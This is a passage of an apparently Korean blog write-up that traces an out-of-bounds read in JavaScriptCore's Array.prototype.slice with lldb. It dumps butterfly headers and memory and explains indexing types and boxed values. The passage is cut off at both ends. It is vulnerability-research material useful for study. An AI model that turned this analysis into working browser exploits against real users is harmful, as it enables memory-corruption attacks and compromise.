\uc2dc\ub3c4\ud574\ubcf4\uc558\ub2e4.<\/p>\n<h4>1. <code>JSC::arrayProtoFuncSlice<\/code> \uc5d0\uc11c \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8 \uc124\uce58\ud558\uace0 \uc0b4\ud3b4\ubcf4\uae30<\/h4>\n<p><code>JSC::arrayProtoFuncSlice<\/code> \uc5d0\uc11c \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uc124\uce58\ud558\uace0 poc \ucf54\ub4dc\ub97c \uc2e4\ud589\ud55c\ub2e4.<\/p>\n<p><code>thisObj<\/code>\uc758 <code>indexingType<\/code> \uc740 7\uc774\uace0, butterfly \uc8fc\uc18c\ub294 0x10381c3d8\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) b JSC::arrayProtoFuncSlice\nBreakpoint 1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*) + 15 at ArrayPrototype.cpp:724, address = 0x00000001000958af\n(lldb) r\nThere is a running process, kill it and restart?: [Y\/n] y\nProcess 860 exited with status = 9 (0x00000009)\nProcess 864 launched: '.\/jsc' (x86_64)\nCell: 0x103847e30 (0x103833900:[Array, {}, ArrayWithInt32, Proto:0x103847f40]), ID: 159\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001000958af JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 15 at ArrayPrototype.cpp:724, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\n    frame #0: 0x00000001000958af JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 15 at ArrayPrototype.cpp:724\n   721  EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)\n   722  {\n   723      \/\/ http:\/\/developer.netscape.com\/docs\/manuals\/js\/client\/jsref\/array.htm#1193713 or 15.4.4.10\n-&gt; 724      JSObject* thisObj = exec-&gt;thisValue().toThis(exec, StrictMode).toObject(exec);\n   725      unsigned length = getLength(exec, thisObj);\n   726      if (exec-&gt;hadException())\n   727          return JSValue::encode(jsUndefined());\n\n(lldb) n\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001000958e0 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 64 at ArrayPrototype.cpp:725, queue = 'com.apple.main-thread', stop reason = step over\n    frame #0: 0x00000001000958e0 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 64 at ArrayPrototype.cpp:725\n   722  {\n   723      \/\/ http:\/\/developer.netscape.com\/docs\/manuals\/js\/client\/jsref\/array.htm#1193713 or 15.4.4.10\n   724      JSObject* thisObj = exec-&gt;thisValue().toThis(exec, StrictMode).toObject(exec);\n-&gt; 725      unsigned length = getLength(exec, thisObj);\n   726      if (exec-&gt;hadException())\n   727          return JSValue::encode(jsUndefined());\n   728\n\n(lldb) p\/x thisObj\n(JSC::JSObject *) $2 = 0x0000000103847e20\n(lldb) x\/2gx 0x0000000103847e20\n0x103847e20: 0x01201207000000a0 0x000000010381c3d8\n(lldb) p\/x thisObj-&gt;indexingType()\n(JSC::IndexingType) $3 = 0x07\n(lldb) p\/x *(JSC::JSObject *)thisObj\n(JSC::JSObject) $5 = {\n  JSC::JSCell = (m_structureID = 0x000000a0, m_indexingType = 0x07, m_type = 0x12, m_flags = 0x20, m_gcData = 0x01)\n  m_butterfly = (m_value = 0x000000010381c3d8)\n}\n<\/code><\/pre>\n<p><code>indexingType<\/code> \uc774 7\uc774\uba74, <code>ArrayWithDouble<\/code>\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ ref: Source\\JavaScriptCore\\runtime\\IndexingType.h:50\n\n...\ntypedef uint8_t IndexingType;\n\n\/\/ Flags for testing the presence of capabilities.\nstatic const IndexingType IsArray                  = 0x01;\n\n\/\/ The shape of the indexed property storage.\nstatic const IndexingType IndexingShapeMask        = 0x0E;\nstatic const IndexingType NoIndexingShape          = 0x00;\nstatic const IndexingType UndecidedShape           = 0x02; \/\/ Only useful for arrays.\nstatic const IndexingType Int32Shape               = 0x04;\nstatic const IndexingType DoubleShape              = 0x06;\nstatic const IndexingType ContiguousShape          = 0x08;\nstatic const IndexingType ArrayStorageShape        = 0x0A;\nstatic const IndexingType SlowPutArrayStorageShape = 0x0C;\n\nstatic const IndexingType IndexingShapeShift       = 1;\nstatic const IndexingType NumberOfIndexingShapes   = 7;\n\n\/\/ Additional flags for tracking the history of the type. These are usually\n\/\/ masked off unless you ask for them directly.\nstatic const IndexingType MayHaveIndexedAccessors  = 0x10;\n\n\/\/ List of acceptable array types.\nstatic const IndexingType NonArray                        = 0x0;\nstatic const IndexingType NonArrayWithInt32               = Int32Shape;\nstatic const IndexingType NonArrayWithDouble              = DoubleShape;\nstatic const IndexingType NonArrayWithContiguous          = ContiguousShape;\nstatic const IndexingType NonArrayWithArrayStorage        = ArrayStorageShape;\nstatic const IndexingType NonArrayWithSlowPutArrayStorage = SlowPutArrayStorageShape;\nstatic const IndexingType ArrayClass                      = IsArray; \/\/ I'd want to call this &quot;Array&quot; but this would lead to disastrous namespace pollution.\nstatic const IndexingType ArrayWithUndecided              = IsArray | UndecidedShape;\nstatic const IndexingType ArrayWithInt32                  = IsArray | Int32Shape;\nstatic const IndexingType ArrayWithDouble                 = IsArray | DoubleShape;\nstatic const IndexingType ArrayWithContiguous             = IsArray | ContiguousShape;\nstatic const IndexingType ArrayWithArrayStorage           = IsArray | ArrayStorageShape;\nstatic const IndexingType ArrayWithSlowPutArrayStorage    = IsArray | SlowPutArrayStorageShape;\n...\n<\/code><\/pre>\n<p><code>thisObj<\/code>\uc5d0\uc11c \uad6c\ud55c butterfly\uc8fc\uc18c\uac12\uc73c\ub85c <code>x\/2wx &lt;butterfly&gt;-8<\/code> \uba85\ub839\uc5b4\ub85c \ub0b4\uc6a9\uc744 \ub364\ud504\ud55c\ub2e4.<\/p>\n<p>\uc67c\ucabd \uae30\uc900\uc73c\ub85c, \ub450 \uac12\uc740<\/p>\n<p>(poc \ucf54\ub4dc \uc911) <code>a.length<\/code>\uc744 \uc758\ubbf8\ud558\ub294 <strong>publicLength,<\/strong><\/p>\n<p>\uc2e4\uc81c \ubc84\ud37c \ud06c\uae30(\ud560\ub2f9\ub41c \uc2ac\ub86f \uc218)\ub97c \uc758\ubbf8\ud558\ub294 <strong>vectorLength<\/strong>\uc774\ub2e4.<\/p>\n<p><strong>publicLength\uc740 100, vectorLength\uc740 190\uc774\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-cpp\">(lldb) x\/2wx 0x000000010381c3d8-8\n0x10381c3d0: 0x00000064 0x000000be\n<\/code><\/pre>\n<p>\uc65c -8\uc744 \ud574\uc57c\ud560\uae4c?<\/p>\n<p>JSObject\ub294 \uc778\ub371\uc2a4 \uc6d0\uc18c\uc640 \ub124\uc784\ub4dc \ud504\ub85c\ud37c\ud2f0\ub97c \ud55c \ub369\uc5b4\ub9ac \uba54\ubaa8\ub9ac\uc5d0 \ub2f4\ub294\ub370, \ub458\uc774 \uc11c\ub85c \ubc18\ub300 \ubc29\ud5a5\uc73c\ub85c \uc790\ub780\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">        \u2190 \ud504\ub85c\ud37c\ud2f0\uac00 \uc774\ucabd\uc73c\ub85c \uc99d\uac00        \uc6d0\uc18c\uac00 \uc774\ucabd\uc73c\ub85c \uc99d\uac00 \u2192\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  prop[n-1]   \u2502   prop[0]    \u2502  IndexingHeader \u2502 elem[0]   \u2502 elem[1]   \u2502 ...\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                                   8 bytes       \u25b2\n                                                 \u2514\u2500 Butterfly* \uac00 \uac00\ub9ac\ud0a4\ub294 \uacf3\n<\/code><\/pre>\n<p>\uc774\uac8c \ubc14\ub85c butterfly\ub77c\uace0 \uc774\ub984\uc774 \uc9c0\uc5b4\uc9c4 \uc774\uc720\uc774\uba70, \ud3ec\uc778\ud130\uac00 <strong>\uac00\uc6b4\ub370(\uc591 \ub0a0\uac1c\uac00 \ub9cc\ub098\ub294 \uc9c0\uc810)<\/strong> \ub97c \uac00\ub9ac\ucf1c\uc11c\ub2e4.<\/p>\n<p>\ub355\ubd84\uc5d0 \uc6d0\uc18c \uc811\uadfc\uc740 <code>butterfly[i]<\/code>, \ud504\ub85c\ud37c\ud2f0 \uc811\uadfc\uc740 <code>butterfly[-1-j]<\/code>\ub85c \uc591\ucabd \ub2e4 \uc624\ud504\uc14b \ud558\ub098\ub85c \ub05d\ub09c\ub2e4.<\/p>\n<p>\uadf8\ub798\uc11c <code>Butterfly*<\/code>\ub294 <strong>\uccab \uc6d0\uc18c<\/strong>\ub97c \uac00\ub9ac\ud0a4\uace0, \uae38\uc774 \uc815\ubcf4\uac00 \ub2f4\uae34 <code>IndexingHeader<\/code> 8\ubc14\uc774\ud2b8\ub294 \uadf8 <strong>\ubc14\ub85c \uc55e<\/strong>\uc5d0 \uc788\ub2e4. \uc140\uc5d0\uc11c \uc77d\uc740 butterfly \uac12\uc5d0 <code>-8<\/code>\uc744 \ud574\uc57c \ud558\ub294 \uc774\uc720\ub77c\uace0 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<ul>\n<li><code>Source\\JavaScriptCore\\runtime\\IndexingHeader.h:39<\/code><\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">union {\n    struct {\n        uint32_t publicLength;   \/\/ -8  \u2190 a.length, JS\uc5d0\uc11c \ubcf4\uc774\ub294 \uae38\uc774\n        uint32_t vectorLength;   \/\/ -4  \u2190 \uc2e4\uc81c \ud560\ub2f9\ub41c \uc2ac\ub86f \uc218\n    } lengths;\n    ...\n<\/code><\/pre>\n<h4>2. <code>ArrayPrototype.cpp:170<\/code> \u2014  \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8 \uc124\uce58\ud558\uace0 \uc0b4\ud3b4\ubcf4\uae30<\/h4>\n<p><code>length=100<\/code>\uc778 \ubc30\uc5f4 <code>a<\/code>\uac00 \uc788\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) br s -f ArrayPrototype.cpp -l 170\nBreakpoint 2: where = JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(JSC::ExecState*, int, unsigned int, unsigned int) + 75 at ArrayPrototype.cpp:170, address = 0x000000010009748b\n(lldb) c\nProcess 864 resuming\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1\n    frame #0: 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170\n   167      if (value.isUndefined())\n   168          return undefinedValue;\n   169\n-&gt; 170      double indexDouble = value.toInteger(exec);\n   171      if (indexDouble &lt; 0) {\n   172          indexDouble += length;\n   173          return indexDouble &lt; 0 ? 0 : static_cast&lt;unsigned&gt;(indexDouble);\n   \n(lldb) bt 3\n* thread #1: tid = 0x8232, 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1\n  * frame #0: 0x000000010009748b JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=0, length=100, undefinedValue=0) + 75 at ArrayPrototype.cpp:170\n    frame #1: 0x0000000100095933 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfdfe0) + 147 at ArrayPrototype.cpp:729\n    frame #2: 0x0000500b1de01028\n<\/code><\/pre>\n<h4>3. <code>JSC::JSObject::reallocateAndShrinkButterfly<\/code> \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8 \uc124\uce58\ud558\uace0 \uc0b4\ud3b4\ubcf4\uae30<\/h4>\n<p><code>length=0<\/code>\uc774 \ucc0d\ud78c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) b JSC::JSObject::reallocateAndShrinkButterfly\nBreakpoint 3: where = JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(JSC::VM&amp;, unsigned int) + 23 at JSObject.cpp:2483, address = 0x00000001007a1c47\n(lldb) br di 2\n1 breakpoints disabled.\n(lldb) c\nProcess 864 resuming\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001007a1c47 JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 23 at JSObject.cpp:2483, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1\n    frame #0: 0x00000001007a1c47 JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 23 at JSObject.cpp:2483\n   2480\n   2481 void JSObject::reallocateAndShrinkButterfly(VM&amp; vm, unsigned length)\n   2482 {\n-&gt; 2483     ASSERT(length &lt; MAX_ARRAY_INDEX);\n   2484     ASSERT(length &lt; MAX_STORAGE_VECTOR_LENGTH);\n   2485     ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));\n   2486     ASSERT(m_butterfly-&gt;vectorLength() &gt; length);\n<\/code><\/pre>\n<p><code>setPublicLength(0)<\/code> \uc9c1\uc804\uc5d0 \uba48\ucdb0\uc11c, butterfly \uc8fc\uc18c\ub97c \ud655\uc778\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) br s -f JSObject.cpp -l 2493\nBreakpoint 4: where = JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(JSC::VM&amp;, unsigned int) + 655 at JSObject.cpp:2493, address = 0x00000001007a1ebf\n(lldb) c\nProcess 864 resuming\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001007a1ebf JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 655 at JSObject.cpp:2493, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1\n    frame #0: 0x00000001007a1ebf JavaScriptCore`JSC::JSObject::reallocateAndShrinkButterfly(this=0x0000000103847e20, vm=0x0000000103802000, length=0) + 655 at JSObject.cpp:2493\n   2490     Butterfly* newButterfly = m_butterfly-&gt;resizeArray(vm, this, structure(), 0, ArrayStorage::sizeFor(length));\n   2491     m_butterfly.set(vm, this, newButterfly);\n   2492     m_butterfly-&gt;setVectorLength(length);\n-&gt; 2493     m_butterfly-&gt;setPublicLength(length);\n   2494 }\n   2495\n   2496 Butterfly* JSObject::growOutOfLineStorage(VM&amp; vm, size_t oldSize, size_t newSize)\n   \n(lldb) p\/x this-&gt;m_butterfly.get()\n(JSC::Butterfly *) $7 = 0x000000010381c9d0\n(lldb) x\/2wx 0x000000010381c9d0-8\n0x10381c9c8: 0x00000064 0x00000000\n(lldb) x\/8fg 0x000000010381c9d0\n0x10381c9d0: 0.13370000000000001\n0x10381c9d8: 1.1336999999999999\n0x10381c9e0: 0\n0x10381c9e8: 0\n0x10381c9f0: 0\n0x10381c9f8: 0\n0x10381ca00: 0\n0x10381ca08: 0\n\n(lldb) fin\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001006f70ff JavaScriptCore`JSC::JSArray::setLength(this=0x0000000103847e20, exec=0x00007fff5fbfd870, newLength=0, throwException=false) + 751 at JSArray.cpp:428, queue = 'com.apple.main-thread', stop reason = step out\n    frame #0: 0x00000001006f70ff JavaScriptCore`JSC::JSArray::setLength(this=0x0000000103847e20, exec=0x00007fff5fbfd870, newLength=0, throwException=false) + 751 at JSArray.cpp:428\n   425          unsigned costToAllocateNewButterfly = 64; \/\/ a heuristic.\n   426          if (lengthToClear &gt; newLength &amp;&amp; lengthToClear &gt; costToAllocateNewButterfly) {\n   427              reallocateAndShrinkButterfly(exec-&gt;vm(), newLength);\n-&gt; 428              return true;\n   429          }\n   430\n   431          if (indexingType() == ArrayWithDouble) {\n   \n(lldb) x\/2wx 0x000000010381c9d0-8\n0x10381c9c8: 0x00000000 0x00000000\n(lldb) x\/8fg 0x000000010381c9d0\n0x10381c9d0: 0.13370000000000001\n0x10381c9d8: 1.1336999999999999\n0x10381c9e0: 0\n0x10381c9e8: 0\n0x10381c9f0: 0\n0x10381c9f8: 0\n0x10381ca00: 0\n0x10381ca08: 0\n<\/code><\/pre>\n<h4>4. <code>a = [object]<\/code> \uc774\ud6c4, butterfly \ub364\ud504<\/h4>\n<p>butterfly-8 \uc9c0\uc810\uc744 \ub364\ud504\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) br s -f ArrayPrototype.cpp -l 175\nBreakpoint 5: where = JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(JSC::ExecState*, int, unsigned int, unsigned int) + 169 at ArrayPrototype.cpp:175, address = 0x00000001000974e9\n(lldb) c\nProcess 864 resuming\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001000974e9 JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=1, length=100, undefinedValue=100) + 169 at ArrayPrototype.cpp:175, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1\n    frame #0: 0x00000001000974e9 JavaScriptCore`JSC::argumentClampedIndexFromStartOrEnd(exec=0x00007fff5fbfdfe0, argument=1, length=100, undefinedValue=100) + 169 at ArrayPrototype.cpp:175\n   172          indexDouble += length;\n   173          return indexDouble &lt; 0 ? 0 : static_cast&lt;unsigned&gt;(indexDouble);\n   174      }\n-&gt; 175      return indexDouble &gt; length ? length : static_cast&lt;unsigned&gt;(indexDouble);\n   176  }\n   177\n   178  \/\/ The shift\/unshift function implement the shift\/unshift behaviour required\n(lldb) x\/8gx 0x000000010381c9d0-8\n0x10381c9c8: 0x0000000000000000 0x3fc11d14e3bcd35b\n0x10381c9d8: 0x3ff223a29c779a6b 0x0000000400000001\n0x10381c9e8: 0x0000000103847e30 0x0000000000000000\n0x10381c9f8: 0x0000000000000000 0x0000000000000000\n(lldb) x\/2gx 0x0000000103847e30\n0x103847e30: 0x012012050000009f 0x000000010381c3b0\n(lldb) p indexDouble\n(double) $11 = 4\n(lldb) p length\n(unsigned int) $12 = 100\n<\/code><\/pre>\n<p>\ub364\ud504 \ub0b4\uc6a9\uc740 \ub2e4\uc74c\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<p><code>X+24<\/code>\uac00 <code>0x0000000400000001<\/code>(publicLength=1, vectorLength=4)\uc774\uace0<\/p>\n<p><code>X+32<\/code>\uac00 \uc0c1\uc704 16\ube44\ud2b8 <code>0x0000<\/code>\uc778 \ud3ec\uc778\ud130\uba74 \uc608\uce21\ub300\ub85c \ubc30\uce58\ub41c \uac83\uc774\ub2e4.<\/p>\n<p><code>X+32<\/code>\uc5d0 \ud0dc\uadf8 \uc5c6\ub294 raw \ud3ec\uc778\ud130\uac00 \ub4e4\uc5b4\uc788\ub2e4\ub294 \uc0ac\uc2e4 \uc790\uccb4\uac00 Contiguous(boxed)\ub77c\ub294 \uc99d\uac70\uac00 \ub420 \uc218\ub3c4 \uc788\uc744 \uac83\uc774\ub2e4. Double \ubc30\uc5f4\uc774\uc5c8\ub2e4\uba74 \uac70\uae30\uc5d0 double \ube44\ud2b8\uac00 \ub4e4\uc5b4\uac14\uc744 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">X+0 : 0x0000000000000000   0x3fc11e5604189375     \u2190 \ud5e4\ub354{0,0} \/ 0.1337\nX+16: 0x3ff11e5604189375   0x0000000400000001     \u2190 1.1337 \/ [object]\ud5e4\ub354{1,4}\nX+32: 0x0000000103847e30   0x0000000000000000     \u2190 \u2605 \ud0c0\uae43 \ud3ec\uc778\ud130 \/ hole\nX+48: ...\n<\/code><\/pre>\n<p>\uc2e4\uc81c\ub85c,  <code>[object]<\/code> \ubc30\uc5f4\uc774 boxed\uc778\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n<p><code>m_indexingtype<\/code>\uc774 0x5(<code>ArrayWithInt32<\/code>)\uc774\ubbc0\ub85c, boxed \ud615\ud0dc\uac00 \ub9de\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) x\/2gx 0x0000000103847e30\n0x103847e30: 0x012012050000009f 0x000000010381c3b0\n\n(lldb) p\/x *(JSC::JSArray*)0x103847e30\n(JSC::JSArray) $15 = {\n  JSC::JSNonFinalObject = {\n    JSC::JSObject = {\n      JSC::JSCell = (m_structureID = 0x0000009f, m_indexingType = 0x05, m_type = 0x12, m_flags = 0x20, m_gcData = 0x01)\n      m_butterfly = (m_value = 0x000000010381c3b0)\n    }\n  }\n}\n<\/code><\/pre>\n<h4><strong>4-1. boxed\/unboxed\ub780?<\/strong><\/h4>\n<p>JS \ubcc0\uc218 \ud558\ub098\uc5d0\ub294 \uc22b\uc790, \ubb38\uc790\uc5f4, \uac1d\uccb4, <code>null<\/code> \ub4f1 \uc544\ubb34\uac70\ub098 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<p>\uadf8\ub7f0\ub370 \uba54\ubaa8\ub9ac \uc2ac\ub86f\uc740 8\ubc14\uc774\ud2b8 \ud558\ub098\ubfd0\uc774\uba70, \uadf8\ub798\uc11c <strong>\uac12 \uc790\uccb4\uc640 &quot;\uc774\uac8c \ubb34\uc2a8 \ud0c0\uc785\uc778\uc9c0&quot;\ub97c \uadf8 8\ubc14\uc774\ud2b8\uc5d0 \uac19\uc774 \uc6b1\uc5ec\ub123\ub294\ub2e4.<\/strong> \uc774 \ud3ec\uc7a5\uc774 boxing\uc774\uace0, \ud3ec\uc7a5\ub41c \ud615\ud0dc\uac00 <code>JSValue<\/code>\uc774\ub2e4.<\/p>\n<p>JSC\uc758 \ud3ec\uc7a5 \uaddc\uce59\uc740 \uc0c1\uc704 16\ube44\ud2b8\ub97c \ud0dc\uadf8\ub85c \uc4f0\ub294 \uac83\uc774\ub2e4.<\/p>\n<table>\n<thead>\n<tr>\n<th>\uc0c1\uc704 16\ube44\ud2b8<\/th>\n<th>\ud0c0\uc785<\/th>\n<th>\ud558\uc704 48\ube44\ud2b8<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>0x0000<\/code><\/td>\n<td>\ud3ec\uc778\ud130 (Cell)<\/td>\n<td>\uc8fc\uc18c \uadf8\ub300\ub85c<\/td>\n<\/tr>\n<tr>\n<td><code>0x0001<\/code> ~ <code>0xFFFE<\/code><\/td>\n<td>Double<\/td>\n<td>\uc6d0\ubcf8 \ube44\ud2b8 <code>+ 2^48<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>0xFFFF<\/code><\/td>\n<td>Int32<\/td>\n<td>\ud558\uc704 32\ube44\ud2b8\uac00 \uac12<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>\ubc18\ub300\ub85c unboxed\ub294 \ud3ec\uc7a5 \uc5c6\uc774 \uac12\ub9cc \ub123\ub294 \uac83\uc774\ub2e4.<\/strong><\/p>\n<p>JSC\uc5d0\uc11c unboxed\ub85c \uc800\uc7a5\ub418\ub294 \uac74 \ub531 \ud558\ub098, <code>ArrayWithDouble<\/code> \ubc30\uc5f4\uc758 \uc6d0\uc18c\ubfd0\uc774\ub2e4.<\/p>\n<pre><code>\uac19\uc740 \uac12 1\uc744 \uc800\uc7a5\ud588\uc744 \ub54c\n\nArrayWithInt32      \u2192 0xffff000000000001   (boxed, \ud0dc\uadf8 0xffff)\nArrayWithDouble     \u2192 0x3ff0000000000000   (unboxed, \uc21c\uc218 double \ube44\ud2b8)\nArrayWithContiguous \u2192 0xffff000000000001   (boxed)\n<\/code><\/pre>\n<p>\uba54\ubaa8\ub9ac\uc5d0\ub294 \uc5b4\ub290 \ucabd\uc778\uc9c0 \ud45c\uc2dc\uac00 \uc5c6\ub2e4. <strong>\uc140 \ud5e4\ub354\uc758 <code>m_indexingType<\/code> 1\ubc14\uc774\ud2b8\uac00 \ud574\uc11d \uaddc\uce59\uc744 \uacb0\uc815\ud55c\ub2e4.<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<th>\uac12<\/th>\n<th>\uc774\ub984<\/th>\n<th>\uc800\uc7a5 \ud615\ud0dc<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>0x05<\/code><\/td>\n<td>ArrayWithInt32<\/td>\n<td><strong>boxed<\/strong><\/td>\n<\/tr>\n<tr>\n<td><code>0x07<\/code><\/td>\n<td>ArrayWithDouble<\/td>\n<td><strong>unboxed<\/strong> \u2190 \uc720\uc77c\ud55c \uc608\uc678<\/td>\n<\/tr>\n<tr>\n<td><code>0x09<\/code><\/td>\n<td>ArrayWithContiguous<\/td>\n<td><strong>boxed<\/strong><\/td>\n<\/tr>\n<tr>\n<td><code>0x0B<\/code><\/td>\n<td>ArrayWithArrayStorage<\/td>\n<td>boxed<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\ube44\ud2b8\ub85c \ubcf4\uba74 <code>IsArray(0x01) | Shape<\/code>\uc774\uace0, Shape\uac00 <code>0x06<\/code>(DoubleShape)\uc77c \ub54c\ub9cc unboxed\uc774\ub2e4.<\/p>\n<p>\uc989 <strong><code>0x07<\/code>\ub9cc unboxed, \ub098\uba38\uc9c0 \uc804\ubd80 boxed<\/strong>\ub85c \uc678\uc6b0\uba74 \ub41c\ub2e4.<\/p>\n<h4>5. <code>JSC::JSArray::fastSlice<\/code> \u2014 OOB \ud655\uc778<\/h4>\n<p><code>publicLength = 0<\/code>\uc778\ub370 <code>count = 4<\/code> \ub85c \ub098\uc628\ub2e4. \uacbd\uacc4\ub97c \ubc97\uc5b4\ub0ac\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) b JSC::JSArray::fastSlice\nBreakpoint 6: where = JavaScriptCore`JSC::JSArray::fastSlice(JSC::ExecState&amp;, unsigned int, unsigned int) + 29 at JSArray.cpp:682, address = 0x00000001006f99ad\n(lldb) c\nProcess 864 resuming\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001006f99ad JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 29 at JSArray.cpp:682, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1\n    frame #0: 0x00000001006f99ad JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 29 at JSArray.cpp:682\n   679\n   680  JSArray* JSArray::fastSlice(ExecState&amp; exec, unsigned startIndex, unsigned count)\n   681  {\n-&gt; 682      auto arrayType = indexingType();\n   683      switch (arrayType) {\n   684      case ArrayWithDouble:\n   685      case ArrayWithInt32:\n(lldb) p startIndex\n(unsigned int) $16 = 0\n(lldb) p count\n(unsigned int) $17 = 4\n(lldb) p\/x m_butterfly.get()\n(JSC::Butterfly *) $18 = 0x000000010381c9d0\n(lldb) x\/2wx 0x000000010381c9d0-8\n0x10381c9c8: 0x00000000 0x00000000\n<\/code><\/pre>\n<h4>6. memcpy \uc804\ud6c4 \uc0b4\ud53c\uae30<\/h4>\n<pre><code class=\"language-cpp\">(lldb) br s -f JSArray.cpp -l 698\nBreakpoint 7: where = JavaScriptCore`JSC::JSArray::fastSlice(JSC::ExecState&amp;, unsigned int, unsigned int) + 286 at JSArray.cpp:698, address = 0x00000001006f9aae\n(lldb) c\nProcess 864 resuming\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001006f9aae JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 286 at JSArray.cpp:698, queue = 'com.apple.main-thread', stop reason = breakpoint 7.1\n    frame #0: 0x00000001006f9aae JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 286 at JSArray.cpp:698\n   695\n   696          auto&amp; resultButterfly = *resultArray-&gt;butterfly();\n   697          if (arrayType == ArrayWithDouble)\n-&gt; 698              memcpy(resultButterfly.contiguousDouble().data(), 